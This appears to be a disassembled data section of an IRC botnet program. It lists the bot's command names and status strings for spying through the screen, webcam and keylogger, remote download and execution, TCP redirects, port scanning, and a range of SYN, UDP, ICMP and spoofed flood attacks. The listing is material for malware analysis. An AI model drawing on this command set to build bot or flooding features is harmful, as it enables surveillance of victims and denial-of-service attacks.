db 65h, 74h, 2
db 3
aNoMessageSpeci db '- No message specified.',0
align 4
unk_44233C db 2Dh ; - ; DATA XREF: sub_401CC7:loc_4064E0o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aCommandUnknown db '- Command unknown.',0
unk_442358 db 2Dh ; - ; DATA XREF: sub_401CC7+456Fo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0
; char aCapture[]
aCapture db 'capture',0 ; DATA XREF: sub_401CC7+4824o
; char aCap[]
aCap db 'cap',0 ; DATA XREF: sub_401CC7+4839o
; char aScreen[]
aScreen db 'screen',0 ; DATA XREF: sub_401CC7:loc_4090A0o
align 4
; char asc_4423A4[]
asc_4423A4 db '-' ; DATA XREF: sub_401CC7+740Ao
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aScreenCaptureS db '- Screen capture saved to: %s.',0
unk_4423D0 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_4090E1o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCapt db '- Error while capturing screen.',0
align 10h
; char asc_442400[]
asc_442400 db '-' ; DATA XREF: sub_401CC7:loc_4090E8o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aNoFilenameSpec db '- No filename specified for screen capture.',0
align 4
; char aDrivers[]
aDrivers db 'drivers',0 ; DATA XREF: sub_401CC7:loc_4090FBo
; char asc_442444[]
asc_442444 db '-' ; DATA XREF: sub_401CC7+7481o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aDriverDSS_ db '- Driver #%d - %s - %s.',0
align 4
; char asc_44246C[]
asc_44246C db '-' ; DATA XREF: sub_401CC7+74B4o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aDriverListComp db '- Driver list complete.',0
align 4
; char aFrame[]
aFrame db 'frame',0 ; DATA XREF: sub_401CC7:loc_409188o
align 4
; char asc_44249C[]
asc_44249C db '-' ; DATA XREF: sub_401CC7+7538o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aWebcamCaptureS db '- Webcam capture saved to: %s.',0
unk_4424C8 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_40920Fo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCa_0 db '- Error while capturing from webcam.',0
align 4
; char asc_4424FC[]
asc_4424FC db '-' ; DATA XREF: sub_401CC7:loc_409216o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aInvalidParam_0 db '- Invalid parameters for webcam capture.',0
align 4
; char aVideo[]
aVideo db 'video',0 ; DATA XREF: sub_401CC7:loc_409229o
align 4
unk_44253C db 2Dh ; - ; DATA XREF: sub_401CC7+75E6o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aAmateurVideoSa db '- Amateur video saved to: %s.',0
align 4
unk_442568 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_4092B7o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCa_1 db '- Error while capturing amateur video from webcam.',0
unk_4425A8 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_4092C1o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aInvalidParam_1 db '- Invalid parameters for amateur video capture.',0
align 4
; char aGethost[]
aGethost db 'gethost',0 ; DATA XREF: sub_401CC7+484Eo
; char aGh[]
aGh db 'gh',0 ; DATA XREF: sub_401CC7+4863o
align 4
; char aSSSS_1[]
aSSSS_1 db '%s %s %s :%s',0 ; DATA XREF: sub_401CC7+7333o
align 4
; char asc_442604[]
asc_442604 db '-' ; DATA XREF: sub_401CC7+735Fo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aGethostSComman db 'Gethost: %s, Command: %s',0
align 4
; char asc_44262C[]
asc_44262C db '-' ; DATA XREF: sub_401CC7+737Bo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUnableToExtrac db 'Unable to extract Gethost command.',0
align 4
; char asc_44265C[]
asc_44265C db '-' ; DATA XREF: sub_401CC7+73C1o
db 3, 34h, 2
dd 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh, 2E732520h
dd 0
; char aKilllog[]
aKilllog db 'killlog',0 ; DATA XREF: sub_401CC7+488Co
; char aKl[]
aKl db 'kl',0 ; DATA XREF: sub_401CC7+48A3o
align 4
; char aAddalias[]
aAddalias db 'addalias',0 ; DATA XREF: sub_401CC7+48BAo
align 10h
; char aAa[]
aAa db 'aa',0 ; DATA XREF: sub_401CC7+48D1o
align 4
; char asc_442694[]
asc_442694 db '-' ; DATA XREF: sub_401CC7+72B2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aAliasAddedS_ db 'Alias added: %s.',0
align 4
; char aPrivmsg_1[]
aPrivmsg_1 db 'privmsg',0 ; DATA XREF: sub_401CC7+48E8o
; char aPm[]
aPm db 'pm',0 ; DATA XREF: sub_401CC7+48FFo
align 10h
unk_4426C0 db 2Dh ; - ; DATA XREF: sub_401CC7+727Eo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPrivmsgSS_ db 'Privmsg: %s: %s.',0
align 10h
; char aAction[]
aAction db 'action',0 ; DATA XREF: sub_401CC7+4916o
align 4
; char aA[]
aA: ; DATA XREF: sub_401CC7+492Do
unicode 0, <a>,0
; char dword_4426EC
dword_4426EC dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401CC7+7203o
unk_4426F8 db 2Dh ; - ; DATA XREF: sub_401CC7+7229o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aActionSS_ db 'Action: %s: %s.',0
; char aCycle[]
aCycle db 'cycle',0 ; DATA XREF: sub_401CC7+4944o
align 4
; char aCy[]
aCy db 'cy',0 ; DATA XREF: sub_401CC7+495Bo
align 10h
; char a332_2[]
a332_2 db '332',0 ; DATA XREF: sub_401CC7+7168o
; char aPartS_1[]
aPartS_1 db 'PART %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+717Do
align 10h
; char aJoinSS_2[]
aJoinSS_2 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+71AAo
align 10h
dword_442740 dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h
; DATA XREF: sub_401CC7+71B7o
; char aMode_0[]
aMode_0 db 'mode',0 ; DATA XREF: sub_401CC7+4972o
align 4
; char aM[]
aM: ; DATA XREF: sub_401CC7+4989o
unicode 0, <m>,0
; char aModeS_0[]
aModeS_0 db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7147o
align 4
unk_44276C db 2Dh ; - ; DATA XREF: sub_401CC7+7158o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aModeChangeS db 'Mode change: %s',0
; char aC_raw[]
aC_raw db 'c_raw',0 ; DATA XREF: sub_401CC7+49A0o
align 10h
; char aC_r[]
aC_r db 'c_r',0 ; DATA XREF: sub_401CC7+49B7o
; char aS_18[]
aS_18 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+70FAo
align 4
dword_44279C dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h
; DATA XREF: sub_401CC7+711Co
dd 25203A29h, 73h
; char aC_mode[]
aC_mode db 'c_mode',0 ; DATA XREF: sub_401CC7+49CEo
align 10h
; char aC_m[]
aC_m db 'c_m',0 ; DATA XREF: sub_401CC7+49E5o
; char aModeS[]
aModeS db 'MODE %s',0 ; DATA XREF: sub_401CC7+7052o
; char aS_17[]
aS_17 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+708Bo
align 4
dword_4427D4 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h
; DATA XREF: sub_401CC7+70ADo
dd 203A2973h, 7325h
; char aC_nick[]
aC_nick db 'c_nick',0 ; DATA XREF: sub_401CC7+49FCo
align 4
; char aC_n[]
aC_n db 'c_n',0 ; DATA XREF: sub_401CC7+4A13o
; char aNickS_5[]
aNickS_5 db 'NICK %s',0 ; DATA XREF: sub_401CC7+6FC8o
; char aS_16[]
aS_16 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7000o
align 4
; char dword_44280C[]
dword_44280C dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh
; DATA XREF: sub_401CC7+7022o
dd 203A2973h, 7325h
; char aC_join[]
aC_join db 'c_join',0 ; DATA XREF: sub_401CC7+4A2Ao
align 10h
; char aC_j[]
aC_j db 'c_j',0 ; DATA XREF: sub_401CC7+4A41o
; char aJoinSS_1[]
aJoinSS_1 db 'JOIN %s %s',0 ; DATA XREF: sub_401CC7+6F81o
align 10h
aS_15 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+6FBAo
align 4
; char aC_part[]
aC_part db 'c_part',0 ; DATA XREF: sub_401CC7+4A58o
align 10h
; char aC_p[]
aC_p db 'c_p',0 ; DATA XREF: sub_401CC7+4A6Fo
; char aPartS_0[]
aPartS_0 db 'PART %s',0 ; DATA XREF: sub_401CC7+6F16o
; char aS_14[]
aS_14 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+6F4Fo
align 4
; char aTarga3[]
aTarga3 db 'targa3',0 ; DATA XREF: sub_401CC7+4A86o
align 4
; char aT3[]
aT3 db 't3',0 ; DATA XREF: sub_401CC7+4A9Do
align 10h
; char asc_442870[]
asc_442870 db '-' ; DATA XREF: sub_401CC7+6E96o
db 3, 34h, 2
dd 67726174h, 3023361h
aFloodingSForSS db '- Flooding %s for %s seconds.',0
align 4
dword_44289C dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401CC7+6F05o
aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0
align 4
; char aTsunami[]
aTsunami db 'tsunami',0 ; DATA XREF: sub_401CC7+4AB4o
; char aTsn[]
aTsn db 'tsn',0 ; DATA XREF: sub_401CC7+4ACBo
; char asc_4428E4[]
asc_4428E4 db '-' ; DATA XREF: sub_401CC7+6D9Bo
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0
; char asc_442918[]
asc_442918 db '-' ; DATA XREF: sub_401CC7+6E06o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aFailedToSta_17 db '- Failed to start flood thread, error: <%d>.',0
align 4
; char aRepeat[]
aRepeat db 'repeat',0 ; DATA XREF: sub_401CC7+4AE2o
align 4
; char aRp[]
aRp db 'rp',0 ; DATA XREF: sub_401CC7+4AF9o
align 10h
; char a332_1[]
a332_1 db '332',0 ; DATA XREF: sub_401CC7+6C41o
; char aRepeat_0[]
aRepeat_0 db 'repeat',0 ; DATA XREF: sub_401CC7+6C68o
align 4
; char aSSSS_0[]
aSSSS_0 db '%s %s %s :%s',0 ; DATA XREF: sub_401CC7+6C95o
align 4
; char asc_44297C[]
asc_44297C db '-' ; DATA XREF: sub_401CC7+6CBEo
db 3, 34h, 2
dd 6E69616Dh, 202D0302h, 65706552h, 203A7461h, 7325h
; char asc_442994[]
asc_442994 db '-' ; DATA XREF: sub_401CC7:loc_4089C0o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRepeatNotAllow db 'Repeat not allowed in command line: %s',0
align 4
; char aDelay[]
aDelay db 'delay',0 ; DATA XREF: sub_401CC7+4B10o
align 10h
; char aDe[]
aDe db 'de',0 ; DATA XREF: sub_401CC7+4B27o
align 4
; char a332_0[]
a332_0 db '332',0 ; DATA XREF: sub_401CC7+6BA2o
; char aSSSS[]
aSSSS db '%s %s %s :%s',0 ; DATA XREF: sub_401CC7+6BE3o
align 4
dword_4429E8 dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h
; DATA XREF: sub_401CC7:loc_4088EEo
; char aUpdate[]
aUpdate db 'update',0 ; DATA XREF: sub_401CC7+4B3Eo
align 4
; char aUp_0[]
aUp_0 db 'up',0 ; DATA XREF: sub_401CC7+4B55o
align 4
; char aSS_exe[]
aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401CC7+6A63o
align 4
; char asc_442A14[]
asc_442A14 db '-' ; DATA XREF: sub_401CC7+6B0Bo
db 3, 34h, 2
dd 61647075h, 3026574h
aDownloadingUpd db '- Downloading update from: %s.',0
align 10h
dword_442A40 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401CC7+6B7Ao
aFailedToStartD db '- Failed to start download thread, error: <%d>.',0
; char asc_442A7C[]
asc_442A7C db '-' ; DATA XREF: sub_401CC7:loc_40884Bo
db 3, 34h, 2
dd 61647075h, 3026574h
aBotIdMustBeDif db '- Bot ID must be different than current running process.',0
align 4
; char aExecute[]
aExecute db 'execute',0 ; DATA XREF: sub_401CC7+4B6Co
; char aE[]
aE: ; DATA XREF: sub_401CC7+4B83o
unicode 0, <e>,0
unk_442AD0 db 2Dh ; - ; DATA XREF: sub_401CC7+69F6o
db 3, 34h, 2
db 65h ; e
db 78h, 65h, 63h
db 2
db 3, 2Dh, 20h
aCouldnTExecute db 'Couldn',27h,'t execute file.',0
align 4
dword_442AF4 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h
; DATA XREF: sub_401CC7+6A01o
dd 7325203Ah, 0
; char aFindfile[]
aFindfile db 'findfile',0 ; DATA XREF: sub_401CC7+4B9Ao
align 4
; char aFf[]
aFf db 'ff',0 ; DATA XREF: sub_401CC7+4BB1o
align 10h
; char asc_442B20[]
asc_442B20 db '-' ; DATA XREF: sub_401CC7+68E6o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingForFi db 'Searching for file: %s in: %s.',0
align 10h
; char asc_442B50[]
asc_442B50 db '-' ; DATA XREF: sub_401CC7+695Co
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aFailedToSta_18 db 'Failed to start search thread, error: <%d>.',0
; char aRename[]
aRename db 'rename',0 ; DATA XREF: sub_401CC7+4BC8o
align 4
; char aMv[]
aMv db 'mv',0 ; DATA XREF: sub_401CC7+4BDFo
align 4
; char asc_442B98[]
asc_442B98 db '-' ; DATA XREF: sub_401CC7+680Ao
db 3, 34h, 2
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
align 4
dword_442BBC dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401CC7:loc_4084E6o
; char aIcmpflood[]
aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401CC7+4BF6o
align 4
; char aIcmp[]
aIcmp db 'icmp',0 ; DATA XREF: sub_401CC7+4C0Do
align 4
; char asc_442BDC[]
asc_442BDC db '-' ; DATA XREF: sub_401CC7+676Eo
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0
align 4
unk_442C08 db 2Dh ; - ; DATA XREF: sub_401CC7+67DEo
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFailedToSta_19 db 'Failed to start flood thread, error: <%d>.',0
align 10h
unk_442C40 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_4084AFo
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0
align 4
; char aClone_0[]
aClone_0 db 'clone',0 ; DATA XREF: sub_401CC7+4C36o
align 10h
; char aC[]
aC: ; DATA XREF: sub_401CC7+4C4Do
unicode 0, <c>,0
; char asc_442C84[]
asc_442C84 db '-' ; DATA XREF: sub_401CC7+667Co
db 3, 34h, 2
dd 6E6F6C63h, 3027365h
aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0
align 4
dword_442CB4 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401CC7+66EBo
aFailedToSta_20 db '- Failed to start clone thread, error: <%d>.',0
align 10h
; char aDdos_syn[]
aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401CC7+4C64o
align 4
; char aDdos_ack[]
aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401CC7+4C7Bo
align 4
; char aDdos_random[]
aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401CC7+4C92o
; char asc_442D14[]
asc_442D14 db '-' ; DATA XREF: sub_401CC7+6594o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0
align 4
unk_442D44 db 2Dh ; - ; DATA XREF: sub_401CC7+6603o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFailedToSta_21 db 'Failed to start flood thread, error: <%d>.',0
align 4
; char aWisdom_udp[]
aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401CC7+4CA9o
align 4
unk_442D88 db 2Dh ; - ; DATA XREF: sub_401CC7+4D80o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aFailedToSta_22 db '- Failed to start flood thread, error: <%d>.',0
align 4
; char aSynflood[]
aSynflood db 'synflood',0 ; DATA XREF: sub_401CC7+4D8Do
align 4
; char aSyn[]
aSyn db 'syn',0 ; DATA XREF: sub_401CC7+4DA4o
; char asc_442DD8[]
asc_442DD8 db '-' ; DATA XREF: sub_401CC7+649Bo
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0
align 4
unk_442E08 db 2Dh ; - ; DATA XREF: sub_401CC7+650Ao
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFailedToSta_23 db '- Failed to start flood thread, error: <%d>.',0
align 10h
; char aSkysyn[]
aSkysyn db 'skysyn',0 ; DATA XREF: sub_401CC7+4DBBo
align 4
; char asc_442E48[]
asc_442E48 db '-' ; DATA XREF: sub_401CC7+4E3Eo
db 3, 34h, 2
dd 73796B73h, 3026E79h
aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0
dword_442E78 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401CC7+4EADo
aFailedToSta_24 db '- Failed to start flood thread, error: <%d>.',0
align 4
; char aPhatwonk[]
aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401CC7+4EBAo
align 10h
; char aWonk[]
aWonk db 'wonk',0 ; DATA XREF: sub_401CC7+4ED1o
align 4
; char asc_442EC8[]
asc_442EC8 db '-' ; DATA XREF: sub_401CC7+63B3o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0
align 4
unk_442F04 db 2Dh ; - ; DATA XREF: sub_401CC7+6422o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFailedToSta_25 db 'Failed to start flood thread, error: <%d>.',0
align 4
; char aDownload[]
aDownload db 'download',0 ; DATA XREF: sub_401CC7+4EE8o
align 4
; char aDl[]
aDl db 'dl',0 ; DATA XREF: sub_401CC7+4EFFo
align 4
; char asc_442F4C[]
asc_442F4C db '-' ; DATA XREF: sub_401CC7+62CBo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadingUrl db 'Downloading URL: %s to: %s.',0
unk_442F78 db 2Dh ; - ; DATA XREF: sub_401CC7+633Ao
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aFailedToSta_26 db 'Failed to start transfer thread, error: <%d>.',0
align 4
; char aRedirect[]
aRedirect db 'redirect',0 ; DATA XREF: sub_401CC7+4F16o
align 4
; char aRd[]
aRd db 'rd',0 ; DATA XREF: sub_401CC7+4F2Do
align 4
; char asc_442FC8[]
asc_442FC8 db '-' ; DATA XREF: sub_401CC7+618Do
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_443004 db 2Dh ; - ; DATA XREF: sub_401CC7+61FCo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0
align 4
; char aScan_0[]
aScan_0 db 'scan',0 ; DATA XREF: sub_401CC7+4F44o
align 10h
; char aSc[]
aSc db 'sc',0 ; DATA XREF: sub_401CC7+4F5Bo
align 4
; char asc_443054[]
asc_443054 db '-' ; DATA XREF: sub_401CC7+6090o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0
align 10h
unk_443090 db 2Dh ; - ; DATA XREF: sub_401CC7+60FFo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToSta_27 db 'Failed to start scan thread, error: <%d>.',0
align 4
; char aC_privmsg[]
aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401CC7+4F72o
align 4
; char aC_pm[]
aC_pm db 'c_pm',0 ; DATA XREF: sub_401CC7+4F89o
align 4
; char aSSS_0[]
aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: sub_401CC7+5FE4o
align 4
; char aC_action[]
aC_action db 'c_action',0 ; DATA XREF: sub_401CC7+4FA0o
align 4
; char aC_a[]
aC_a db 'c_a',0 ; DATA XREF: sub_401CC7+4FB7o
; char dword_4430FC
dword_4430FC dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401CC7+5E73o
aSSS db '[%s] * %s %s',0 ; DATA XREF: sub_401CC7+5F07o
align 4
; char aPortscan[]
aPortscan db 'portscan',0 ; DATA XREF: sub_401CC7+4FDDo
align 4
; char aPsc[]
aPsc db 'psc',0 ; DATA XREF: sub_401CC7+4FF4o
; char asc_443128[]
asc_443128 db '-' ; DATA XREF: sub_401CC7+5DA0o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
align 4
unk_443178 db 2Dh ; - ; DATA XREF: sub_401CC7+5E0Fo
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToSta_28 db 'Failed to start scan thread, error: <%d>.',0
align 4
; char aAdvscan[]
aAdvscan db 'advscan',0 ; DATA XREF: sub_401CC7+500Bo
; char aAsc[]
aAsc db 'asc',0 ; DATA XREF: sub_401CC7+5022o
; char asc_4431C0[]
asc_4431C0 db '-' ; DATA XREF: sub_401CC7+5875o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aAlreadyDScan_0 db 'Already %d scanning threads. Too many specified.',0
align 10h
unk_443200 db 2Dh ; - ; DATA XREF: sub_401CC7+5AC7o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToSta_29 db 'Failed to start scan, port is invalid.',0
align 4
unk_443234 db 2Dh ; - ; DATA XREF: sub_401CC7+5B24o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToSta_30 db 'Failed to start scan, no IP specified.',0
align 4
aRandom_1 db 'Random',0 ; DATA XREF: sub_401CC7+5C68o
align 10h
aSequential_0 db 'Sequential',0 ; DATA XREF: sub_401CC7+5C6Fo
align 4
; char asc_44327C[]
asc_44327C db '-' ; DATA XREF: sub_401CC7+5C9Ao
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSPortScanSta_0 db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
db 'inutes using %d threads.',0
align 4
unk_4432E4 db 2Dh ; - ; DATA XREF: sub_401CC7+5D09o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToSta_31 db 'Failed to start scan thread, error: <%d>.',0
align 4
; char aUdpflood[]
aUdpflood db 'udpflood',0 ; DATA XREF: sub_401CC7+5039o
align 4
; char aUdp[]
aUdp db 'udp',0 ; DATA XREF: sub_401CC7+5050o
; char aU[]
aU: ; DATA XREF: sub_401CC7+5067o
unicode 0, <u>,0
; char asc_443330[]
asc_443330 db '-' ; DATA XREF: sub_401CC7+57ADo
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
align 4
; char asc_443378[]
asc_443378 db '-' ; DATA XREF: sub_401CC7+5818o
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aFailedToSta_32 db '- Failed to start flood thread, error: <%d>.',0
align 10h
; char aNetsend[]
aNetsend db 'netsend',0 ; DATA XREF: sub_401CC7+507Eo
; char aNs[]
aNs db 'ns',0 ; DATA XREF: sub_401CC7+5095o
align 4
; char asc_4433BC[]
asc_4433BC db '-' ; DATA XREF: sub_401CC7+5602o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aSendingMessage db '- Sending message %s times to %s using name %s',0
unk_4433F8 db 2Dh ; - ; DATA XREF: sub_401CC7+56A4o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aNetsendDoesNot db '- NetSend does not work on Win9x systems',0
align 10h
; char asc_443430[]
asc_443430 db '-' ; DATA XREF: sub_401CC7+56C8o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aFailedToSendMe db '- Failed to send message, error <%i>.',0
align 4
unk_443464 db 2Dh ; - ; DATA XREF: sub_401CC7+56FCo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aMessageHasBeen db '- Message has been sent successfuly',0
align 4
; char aPingflood[]
aPingflood db 'pingflood',0 ; DATA XREF: sub_401CC7+50ACo
align 4
; char aPing_0[]
aPing_0 db 'ping',0 ; DATA XREF: sub_401CC7+50C3o
align 4
; char aP[]
aP: ; DATA XREF: sub_401CC7+50DAo
unicode 0, <p>,0
; char asc_4434B0[]
asc_4434B0 db '-' ; DATA XREF: sub_401CC7+5561o
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
align 4
unk_4434F8 db 2Dh ; - ; DATA XREF: sub_401CC7+55D0o
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aFailedToSta_33 db 'Failed to start flood thread, error: <%d>.',0
align 10h
; char aIcmp_dllNotAva[]
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401CC7+55E5o
align 4
; char aTcpflood[]
aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401CC7+50F1o
align 4
; char aTcp[]
aTcp db 'tcp',0 ; DATA XREF: sub_401CC7+5108o
; char aSyn_0[]
aSyn_0 db 'syn',0 ; DATA XREF: sub_401CC7+533Eo
; char aAck[]
aAck db 'ack',0 ; DATA XREF: sub_401CC7+5356o
; char aRandom_0[]
aRandom_0 db 'random',0 ; DATA XREF: sub_401CC7+536Do
align 4
aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401CC7+5418o
aNormal db 'Normal',0 ; DATA XREF: sub_401CC7+541Fo
align 4
; char asc_443578[]
asc_443578 db '-' ; DATA XREF: sub_401CC7+542Fo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0
align 4
